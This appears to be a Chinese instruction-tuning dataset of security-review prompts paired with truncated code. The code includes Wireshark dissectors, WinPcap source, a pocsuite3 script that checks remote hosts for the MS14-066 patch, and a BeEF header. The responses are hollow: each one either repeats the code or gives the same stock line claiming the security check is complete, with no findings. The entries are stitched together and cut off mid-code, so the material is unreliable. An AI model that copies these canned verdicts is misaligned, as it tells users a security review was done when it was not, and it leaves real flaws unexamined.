#define PSNAME "GDT"
#define PFNAME "gdt"

/* Initialize the protocol and registered fields */
static int proto_gdt = -1;
static dissector_handle_t gdt_handle = NULL;

#include "packet-gdt-hf.c"

/* Initialize the subtree pointers */
static int ett_gdt = -1;
#include "packet-gdt-ett.c"

#include "packet-gdt-fn.c"

static int dissect_gdt(tvbuff_t *tvb,
                       packet_info *pinfo,
                       proto_tree *tree,
                       void *data _U_) {
    proto_item *gdt_item = NULL;
    proto_tree *gdt_tree = NULL;

    /* make entry in the Protocol column on summary display */
    col_set_str(pinfo->cinfo, COL_PROTOCOL, PNAME);

    /* create the gdt protocol tree */
    if (tree) {
        gdt_item = proto_tree_add_item(tree, proto_gdt, tvb, 0, -1, ENC_NA);
        gdt_tree = proto_item_add_subtree(gdt_item, ett_gdt);
        dissect_GDTMessage_PDU(tvb, pinfo, gdt_tree, 0);
    }
    return tvb_captured_length(tvb);
}

/*--- proto_register_gdt ----------------------------------------------*/
void proto_register_gdt(void) {
    /* List of fields */
    static hf_register_info hf[] = {
#include "packet-gdt-hfarr.c"
    };

    /* List of subtrees */
    static gint *ett[] = {
        &ett_gdt,
#include "packet-gdt-ettarr.c"
    };

    /* Register protocol */
    proto_gdt = proto_register_protocol(PNAME, PSNAME, PFNAME);

    /* Register fields and subtrees */
    proto_register_field_array(proto_gdt, hf, array_length(hf));
    pr...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 1999 - 2005 NetGroup, Politecnico di Torino (Italy)
 * Copyright (c) 2005 - 2010 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the Politecnico di Torino, CACE Technologies
 * nor the names of its contributors may be used to endorse or promote
 * products derived from this software without specific prior written
 * permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <errno.h>
#include <limits.h> /* for INT_MAX */
#define PCAP_DONT_INCLUDE_PCAP_BPF_H
#include <Packet32.h>
#include <pcap-int.h>
#include <pcap/dlt.h>

/*
 * XXX - Packet32.h defines bpf_program, so we can't include
 * <pcap/bpf.h>, which also de...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 1999 - 2005 NetGroup, Politecnico di Torino (Italy)
 * Copyright (c) 2005 - 2010 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the Politecnico di Torino, CACE Technologies
 * nor the names of its contributors may be used to endorse or promote
 * products derived from this software without specific prior written
 * permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <errno.h>
#include <limits.h> /* for INT_MAX */
#define PCAP_DONT_INCLUDE_PCAP_BPF_H
#include <Packet32.h>
#include <pcap-int.h>
#include <pcap/dlt.h>

/*
 * XXX - Packet32.h defines bpf_program, so we can't include
 * <pcap/bpf.h>, which also de...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* mcast_stream.c
 *
 * Copyright 2006, Iskratel , Slovenia
 * By Jakob Bratkovic <j.bratkovic@iskratel.si> and
 * Miha Jemec <m.jemec@iskratel.si>
 *
 * based on rtp_stream.c
 * Copyright 2003, Alcatel Business Systems
 * By Lars Ruoff <lars.ruoff@gmx.net>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#include "file.h"

#include <epan/epan.h>
#include <epan/address.h>
#include <epan/packet.h>
#include <epan/tap.h>
#include <epan/to_str.h>

#include "ui/mcast_stream.h"

gint32  mcast_stream_trigger         =     50; /* limit for triggering the burst alarm (in packets per second) */
gint32  mcast_stream_bufferalarm     =  10000; /* limit for triggering the buffer alarm (in bytes) */
guint16 mcast_stream_burstint        =    100; /* burst interval in ms */
gint32  mcast_stream_emptyspeed      =   5000; /* outgoing speed for single stream (kbps)*/
gint32  mcast_stream_cumulemptyspeed = 100000; /* outgoiong speed for all streams (kbps)*/

/* sliding window and buffer usage */
static gint32  buffsize = (int)((double)MAX_SPEED * 100 / 1000) * 2;
static guint16 comparetimes(nstime_t *t1, nstime_t *t2, guint16 burstint_lcl);
static void    buffusagecalc(mcast_stream_info_t *strinfo, packet_info *pinfo, double emptyspeed_lcl);
static void    slidingwindow(mcast_stream_info_t *strinfo, packet_info *pinfo);

/****************************************************************************/
/* GCompareFunc style comparison function for _mcast_stream_info */
static gint
mcast_stream_info_cmp(gconstpointer aa, gconstpointer bb)
{
    const struct _mcast_stream_info* a = (const struct _mcast_stream_info *)aa;
    const struct _mcast_stream_info* b = (const struct _mcast_stream_info *)bb;

    if (a==b)
        return 0;
    if (a==NULL || b==NULL)
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* mcast_stream.c
 *
 * Copyright 2006, Iskratel , Slovenia
 * By Jakob Bratkovic <j.bratkovic@iskratel.si> and
 * Miha Jemec <m.jemec@iskratel.si>
 *
 * based on rtp_stream.c
 * Copyright 2003, Alcatel Business Systems
 * By Lars Ruoff <lars.ruoff@gmx.net>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#include "file.h"

#include <epan/epan.h>
#include <epan/address.h>
#include <epan/packet.h>
#include <epan/tap.h>
#include <epan/to_str.h>

#include "ui/mcast_stream.h"

gint32  mcast_stream_trigger         =     50; /* limit for triggering the burst alarm (in packets per second) */
gint32  mcast_stream_bufferalarm     =  10000; /* limit for triggering the buffer alarm (in bytes) */
guint16 mcast_stream_burstint        =    100; /* burst interval in ms */
gint32  mcast_stream_emptyspeed      =   5000; /* outgoing speed for single stream (kbps)*/
gint32  mcast_stream_cumulemptyspeed = 100000; /* outgoiong speed for all streams (kbps)*/

/* sliding window and buffer usage */
static gint32  buffsize = (int)((double)MAX_SPEED * 100 / 1000) * 2;
static guint16 comparetimes(nstime_t *t1, nstime_t *t2, guint16 burstint_lcl);
static void    buffusagecalc(mcast_stream_info_t *strinfo, packet_info *pinfo, double emptyspeed_lcl);
static void    slidingwindow(mcast_stream_info_t *strinfo, packet_info *pinfo);

/****************************************************************************/
/* GCompareFunc style comparison function for _mcast_stream_info */
static gint
mcast_stream_info_cmp(gconstpointer aa, gconstpointer bb)
{
    const struct _mcast_stream_info* a = (const struct _mcast_stream_info *)aa;
    const struct _mcast_stream_info* b = (const struct _mcast_stream_info *)bb;

    if (a==b)
        return 0;
    if (a==NULL || b==NULL)
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* msg_reg_rsp.c
 * WiMax MAC Management REG-RSP Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: John R. Underwood <junderx@yahoo.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#define WIMAX_16E_2005

#define         FRAG_LAST                       0x1

#include <epan/packet.h>
#include "wimax_tlv.h"
#include "wimax_mac.h"
#include "wimax_utils.h"

void proto_register_mac_mgmt_msg_reg_rsp(void);
void proto_reg_handoff_mac_mgmt_msg_reg_rsp(void);

static dissector_handle_t reg_rsp_handle;

extern gboolean include_cor2_changes;

static dissector_handle_t dsc_rsp_handle = NULL;

static gint proto_mac_mgmt_msg_reg_rsp_decoder = -1;
static gint ett_mac_mgmt_msg_reg_rsp_decoder   = -1;
static gint ett_reg_rsp_message_tree           = -1;

/* NCT messages */

/* REG-RSP fields */
static gint hf_reg_rsp_status                            = -1;
static gint hf_tlv_type                                  = -1;
/* static gint hf_tlv_value                                 = -1; */
static gint hf_reg_rsp_secondary_mgmt_cid		 = -1;
static gint hf_reg_invalid_tlv                           = -1;
static gint hf_reg_rsp_new_cid_after_ho                  = -1;
static gint hf_reg_rsp_service_flow_id                   = -1;
static gint hf_reg_rsp_system_resource_retain_time	 = -1;
static gint hf_reg_total_provisioned_sf			 = -1;

/* STRING RESOURCES */

static const value_string vals_reg_rsp_status [] = {
	{0, "OK"},
	{1, "Message authentication failure"},
	{0, NULL}
};

/* Decode REG-RSP messages. */
static int dissect_mac_mgmt_msg_reg_rsp_decoder(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	guint offset = 0;
	guint tlv_offset;
	guint tvb_len;
	proto_item *reg_rsp_item;
	proto_tree *reg_rsp_tree;
	proto_item *tlv_item = NULL;
	proto_tree *tlv_tree = NULL;
	proto_tree ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* msg_reg_rsp.c
 * WiMax MAC Management REG-RSP Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: John R. Underwood <junderx@yahoo.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#define WIMAX_16E_2005

#define         FRAG_LAST                       0x1

#include <epan/packet.h>
#include "wimax_tlv.h"
#include "wimax_mac.h"
#include "wimax_utils.h"

void proto_register_mac_mgmt_msg_reg_rsp(void);
void proto_reg_handoff_mac_mgmt_msg_reg_rsp(void);

static dissector_handle_t reg_rsp_handle;

extern gboolean include_cor2_changes;

static dissector_handle_t dsc_rsp_handle = NULL;

static gint proto_mac_mgmt_msg_reg_rsp_decoder = -1;
static gint ett_mac_mgmt_msg_reg_rsp_decoder   = -1;
static gint ett_reg_rsp_message_tree           = -1;

/* NCT messages */

/* REG-RSP fields */
static gint hf_reg_rsp_status                            = -1;
static gint hf_tlv_type                                  = -1;
/* static gint hf_tlv_value                                 = -1; */
static gint hf_reg_rsp_secondary_mgmt_cid		 = -1;
static gint hf_reg_invalid_tlv                           = -1;
static gint hf_reg_rsp_new_cid_after_ho                  = -1;
static gint hf_reg_rsp_service_flow_id                   = -1;
static gint hf_reg_rsp_system_resource_retain_time	 = -1;
static gint hf_reg_total_provisioned_sf			 = -1;

/* STRING RESOURCES */

static const value_string vals_reg_rsp_status [] = {
	{0, "OK"},
	{1, "Message authentication failure"},
	{0, NULL}
};

/* Decode REG-RSP messages. */
static int dissect_mac_mgmt_msg_reg_rsp_decoder(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	guint offset = 0;
	guint tlv_offset;
	guint tvb_len;
	proto_item *reg_rsp_item;
	proto_tree *reg_rsp_tree;
	proto_item *tlv_item = NULL;
	proto_tree *tlv_tree = NULL;
	proto_tree ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* lte_mac_statistics_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "lte_mac_statistics_dialog.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-mac-lte.h>

#include <QFormLayout>
#include <QTreeWidgetItem>

#include <ui/qt/models/percent_bar_delegate.h>
#include "main_application.h"

// TODO: have never tested in a live capture.

// Whole-UE headings.
enum {
    col_rnti_,
    col_type_,
    col_ueid_,
    // UL-specific
    col_ul_frames_,
    col_ul_bytes_,
    col_ul_mb_s_,
    col_ul_padding_percent_,
    /* col_ul_crc_failed_, */
    col_ul_retx_,
    // DL-specific
    col_dl_frames_,
    col_dl_bytes_,
    col_dl_mb_s_,
    col_dl_padding_percent_,
    col_dl_crc_failed_,
    col_dl_retx_
};

// Type of tree item, so can set column headings properly.
enum {
    mac_whole_ue_row_type_ = 1000,
    mac_ulsch_packet_count_row_type,
    mac_ulsch_byte_count_row_type,
    mac_dlsch_packet_count_row_type,
    mac_dlsch_byte_count_row_type
};

// Calculate and return a bandwidth figure, in Mbs
static double calculate_bw(const nstime_t *start_time, const nstime_t *stop_time,
                           guint32 bytes)
{
    // Can only calculate bandwidth if have time delta
    if (memcmp(start_time, stop_time, sizeof(nstime_t)) != 0) {
        double elapsed_ms = (((double)stop_time->secs -  start_time->secs) * 1000) +
                            (((double)stop_time->nsecs - start_time->nsecs) / 1000000);

        // Only really meaningful if have a few frames spread over time...
        // For now at least avoid dividing by something very close to 0.0
        if (elapsed_ms < 2.0) {
           return 0.0f;
        }

        // N.B. very small values will display as scientific notation, but rather that than show 0
        // when there is some traffic..
        retu...


Instruction: 检查这段代码是否存在安全问题

Input:
/* lte_mac_statistics_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "lte_mac_statistics_dialog.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-mac-lte.h>

#include <QFormLayout>
#include <QTreeWidgetItem>

#include <ui/qt/models/percent_bar_delegate.h>
#include "main_application.h"

// TODO: have never tested in a live capture.

// Whole-UE headings.
enum {
    col_rnti_,
    col_type_,
    col_ueid_,
    // UL-specific
    col_ul_frames_,
    col_ul_bytes_,
    col_ul_mb_s_,
    col_ul_padding_percent_,
    /* col_ul_crc_failed_, */
    col_ul_retx_,
    // DL-specific
    col_dl_frames_,
    col_dl_bytes_,
    col_dl_mb_s_,
    col_dl_padding_percent_,
    col_dl_crc_failed_,
    col_dl_retx_
};

// Type of tree item, so can set column headings properly.
enum {
    mac_whole_ue_row_type_ = 1000,
    mac_ulsch_packet_count_row_type,
    mac_ulsch_byte_count_row_type,
    mac_dlsch_packet_count_row_type,
    mac_dlsch_byte_count_row_type
};

// Calculate and return a bandwidth figure, in Mbs
static double calculate_bw(const nstime_t *start_time, const nstime_t *stop_time,
                           guint32 bytes)
{
    // Can only calculate bandwidth if have time delta
    if (memcmp(start_time, stop_time, sizeof(nstime_t)) != 0) {
        double elapsed_ms = (((double)stop_time->secs -  start_time->secs) * 1000) +
                            (((double)stop_time->nsecs - start_time->nsecs) / 1000000);

        // Only really meaningful if have a few frames spread over time...
        // For now at least avoid dividing by something very close to 0.0
        if (elapsed_ms < 2.0) {
           return 0.0f;
        }

        // N.B. very small values will display as scientific notation, but rather that than show 0
        // when there is some traffic..
        retu...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-nvme-rdma.c
 * Routines for NVM Express over Fabrics(RDMA) dissection
 * Copyright 2016
 * Code by Parav Pandit
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
NVM Express is high speed interface for accessing solid state drives.
NVM Express specifications are maintained by NVM Express industry
association at http://www.nvmexpress.org.

This file adds support to dissect NVM Express over fabrics packets
for RDMA. This adds very basic support for dissecting commands
completions.

Current dissection supports dissection of
(a) NVMe cmd and cqe
(b) NVMe Fabric command and cqe
As part of it, it also calculates cmd completion latencies.

This protocol is similar to iSCSI and SCSI dissection where iSCSI is
transport protocol for carying SCSI commands and responses. Similarly
NVMe Fabrics - RDMA transport protocol carries NVMe commands.

     +----------+
     |   NVMe   |
     +------+---+
            |
+-----------+---------+
|   NVMe Fabrics      |
+----+-----------+----+
     |           |
+----+---+   +---+----+
|  RDMA  |   |   FC   |
+--------+   +--------+

References:
NVMe Express fabrics specification is located at
http://www.nvmexpress.org/wp-content/uploads/NVMe_over_Fabrics_1_0_Gold_20160605.pdf

NVMe Express specification is located at
http://www.nvmexpress.org/wp-content/uploads/NVM-Express-1_2a.pdf

NVM Express RDMA TCP port assigned by IANA that maps to RDMA IP service
TCP port can be found at
http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=NVM+Express

*/
#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/addr_resolv.h>

#include "packet-infiniband.h"
#include "packet-nvme.h"

#define SID_ULP_MASK   0x00000000FF000000
#define SID_PROTO_MASK 0x0000000000FF0000
#define SID_PORT_MASK  0x0000000...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-nvme-rdma.c
 * Routines for NVM Express over Fabrics(RDMA) dissection
 * Copyright 2016
 * Code by Parav Pandit
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
NVM Express is high speed interface for accessing solid state drives.
NVM Express specifications are maintained by NVM Express industry
association at http://www.nvmexpress.org.

This file adds support to dissect NVM Express over fabrics packets
for RDMA. This adds very basic support for dissecting commands
completions.

Current dissection supports dissection of
(a) NVMe cmd and cqe
(b) NVMe Fabric command and cqe
As part of it, it also calculates cmd completion latencies.

This protocol is similar to iSCSI and SCSI dissection where iSCSI is
transport protocol for carying SCSI commands and responses. Similarly
NVMe Fabrics - RDMA transport protocol carries NVMe commands.

     +----------+
     |   NVMe   |
     +------+---+
            |
+-----------+---------+
|   NVMe Fabrics      |
+----+-----------+----+
     |           |
+----+---+   +---+----+
|  RDMA  |   |   FC   |
+--------+   +--------+

References:
NVMe Express fabrics specification is located at
http://www.nvmexpress.org/wp-content/uploads/NVMe_over_Fabrics_1_0_Gold_20160605.pdf

NVMe Express specification is located at
http://www.nvmexpress.org/wp-content/uploads/NVM-Express-1_2a.pdf

NVM Express RDMA TCP port assigned by IANA that maps to RDMA IP service
TCP port can be found at
http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=NVM+Express

*/
#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/addr_resolv.h>

#include "packet-infiniband.h"
#include "packet-nvme.h"

#define SID_ULP_MASK   0x00000000FF000000
#define SID_PROTO_MASK 0x0000000000FF0000
#define SID_PORT_MASK  0x0000000...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
import subprocess
import re
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2019-1-10'
    createDate = '2019-1-10'
    updateDate = '2019-1-10'
    references = ['https://github.com/anexia-it/winshock-test', ]
    name = 'winshock (MS14-066) Check'
    appPowerLink = 'https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-066'
    appName = 'windows'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    This script tries to determine whether the target system has the
    winshock (MS14-066) patches applied or not.
    This is done by checking if the SSL ciphers introduced by MS14-066 are
    available on the system.
    Authors:
        Stephan Peijnik <speijnik@anexia-it.com>
    注意：
    POC借鉴的是https://github.com/anexia-it/winshock-test，将shell脚本改为python;由于是调用的openssl进行远程验证，
    在测试中发现可能会出现openssl卡住而使Pocsuite卡死的情况。
    '''

    def _verify(self):
        # The OpenSSL cipher names for these ciphers are:
        MS14_066_CIPHERS = "DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-GCM-SHA256"
        # Ciphers supported by Windows Server 2012R2
        WINDOWS_SERVER_2012R2_CIPHERS = "ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA"

        def shell_execute(args):
            stdout, _ = subprocess.Popen('echo -n | {} 2>&1'.format(' '.join(
                args)), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True).communicate()
            return stdout

        def check_openssl_ciphers():
            cmd_args = ['openssl', 'ciphers']
            ciphers_openssl = shell_execute(cmd_args).decode('utf-8')
            for cipher_test in MS14_066_CIPHERS.split(' '):
                if cipher_...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
import subprocess
import re
from urllib.parse import urlparse
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2019-1-10'
    createDate = '2019-1-10'
    updateDate = '2019-1-10'
    references = ['https://github.com/anexia-it/winshock-test', ]
    name = 'winshock (MS14-066) Check'
    appPowerLink = 'https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-066'
    appName = 'windows'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    This script tries to determine whether the target system has the
    winshock (MS14-066) patches applied or not.
    This is done by checking if the SSL ciphers introduced by MS14-066 are
    available on the system.
    Authors:
        Stephan Peijnik <speijnik@anexia-it.com>
    注意：
    POC借鉴的是https://github.com/anexia-it/winshock-test，将shell脚本改为python;由于是调用的openssl进行远程验证，
    在测试中发现可能会出现openssl卡住而使Pocsuite卡死的情况。
    '''

    def _verify(self):
        # The OpenSSL cipher names for these ciphers are:
        MS14_066_CIPHERS = "DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-GCM-SHA256"
        # Ciphers supported by Windows Server 2012R2
        WINDOWS_SERVER_2012R2_CIPHERS = "ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA"

        def shell_execute(args):
            stdout, _ = subprocess.Popen('echo -n | {} 2>&1'.format(' '.join(
                args)), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True).communicate()
            return stdout

        def check_openssl_ciphers():
            cmd_args = ['openssl', 'ciphers']
            ciphers_openssl = shell_execute(cmd_args).decode('utf-8')
            for cipher_test in MS14_066_CIPHERS.split(' '):
                if cipher_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-docsis-tlv.c
 *
 * Routines to Dissect Appendix C TLVs
 * Copyright 2015, Adrian Simionov <daniel.simionov@gmail.com>
 * Copyright 2002, Anand V. Narwani <anand[AT]narwani.org>
 * Copyright 2017, Bruno Verstuyft <bruno.verstuyft@excentis.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/reassemble.h>

#include "packet-docsis-tlv.h"

/* This module will dissect the Appendix C TLVs.  Please see:
 * http://www.cablemodem.com/specifications/specifications.html
 *
 * The main dissector is dissect_docsis_tlv.  This routine will dissect
 * top level TLVs and call sub-dissectors for the sub-TLVs.
 */

void proto_register_docsis_tlv(void);
void proto_reg_handoff_docsis_tlv(void);

/* Initialize the protocol and registered fields */
static dissector_handle_t docsis_vsif_handle;
static dissector_handle_t docsis_ucd_handle;

static int proto_docsis_tlv = -1;
static int hf_docsis_tlv_down_freq = -1;
static int hf_docsis_tlv_upstream_chid = -1;
static int hf_docsis_tlv_net_access = -1;
/* static int hf_docsis_tlv_cos = -1; */
/* static int hf_docsis_tlv_mcap = -1; */
static int hf_docsis_tlv_privacy_enable = -1;
static int hf_docsis_tlv_max_cpe = -1;
static int hf_docsis_tlv_max_classifiers = -1;
static int hf_docsis_tlv_snmp_access = -1;
static int hf_docsis_tlv_snmp_obj = -1;
static int hf_docsis_tlv_svc_unavail = -1;
static int hf_docsis_tlv_svc_unavail_classid = -1;
static int hf_docsis_tlv_svc_unavail_type = -1;
static int hf_docsis_tlv_svc_unavail_code = -1;
static int hf_docsis_tlv_bpi = -1;
/* static int hf_docsis_tlv_phs = -1; */
static int hf_docsis_tlv_hmac_digest = -1;
static int hf_docsis_tlv_tftp_server_timestamp = -1;
static int hf_docsis_tlv_tftp_prov_modem_address = -1;
/* static int hf_docsis_tlv_upclsfr = -1; */
/* static int hf_docsis_tlv_downc...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-docsis-tlv.c
 *
 * Routines to Dissect Appendix C TLVs
 * Copyright 2015, Adrian Simionov <daniel.simionov@gmail.com>
 * Copyright 2002, Anand V. Narwani <anand[AT]narwani.org>
 * Copyright 2017, Bruno Verstuyft <bruno.verstuyft@excentis.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/reassemble.h>

#include "packet-docsis-tlv.h"

/* This module will dissect the Appendix C TLVs.  Please see:
 * http://www.cablemodem.com/specifications/specifications.html
 *
 * The main dissector is dissect_docsis_tlv.  This routine will dissect
 * top level TLVs and call sub-dissectors for the sub-TLVs.
 */

void proto_register_docsis_tlv(void);
void proto_reg_handoff_docsis_tlv(void);

/* Initialize the protocol and registered fields */
static dissector_handle_t docsis_vsif_handle;
static dissector_handle_t docsis_ucd_handle;

static int proto_docsis_tlv = -1;
static int hf_docsis_tlv_down_freq = -1;
static int hf_docsis_tlv_upstream_chid = -1;
static int hf_docsis_tlv_net_access = -1;
/* static int hf_docsis_tlv_cos = -1; */
/* static int hf_docsis_tlv_mcap = -1; */
static int hf_docsis_tlv_privacy_enable = -1;
static int hf_docsis_tlv_max_cpe = -1;
static int hf_docsis_tlv_max_classifiers = -1;
static int hf_docsis_tlv_snmp_access = -1;
static int hf_docsis_tlv_snmp_obj = -1;
static int hf_docsis_tlv_svc_unavail = -1;
static int hf_docsis_tlv_svc_unavail_classid = -1;
static int hf_docsis_tlv_svc_unavail_type = -1;
static int hf_docsis_tlv_svc_unavail_code = -1;
static int hf_docsis_tlv_bpi = -1;
/* static int hf_docsis_tlv_phs = -1; */
static int hf_docsis_tlv_hmac_digest = -1;
static int hf_docsis_tlv_tftp_server_timestamp = -1;
static int hf_docsis_tlv_tftp_prov_modem_address = -1;
/* static int hf_docsis_tlv_upclsfr = -1; */
/* static int hf_docsis_tlv_downc...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
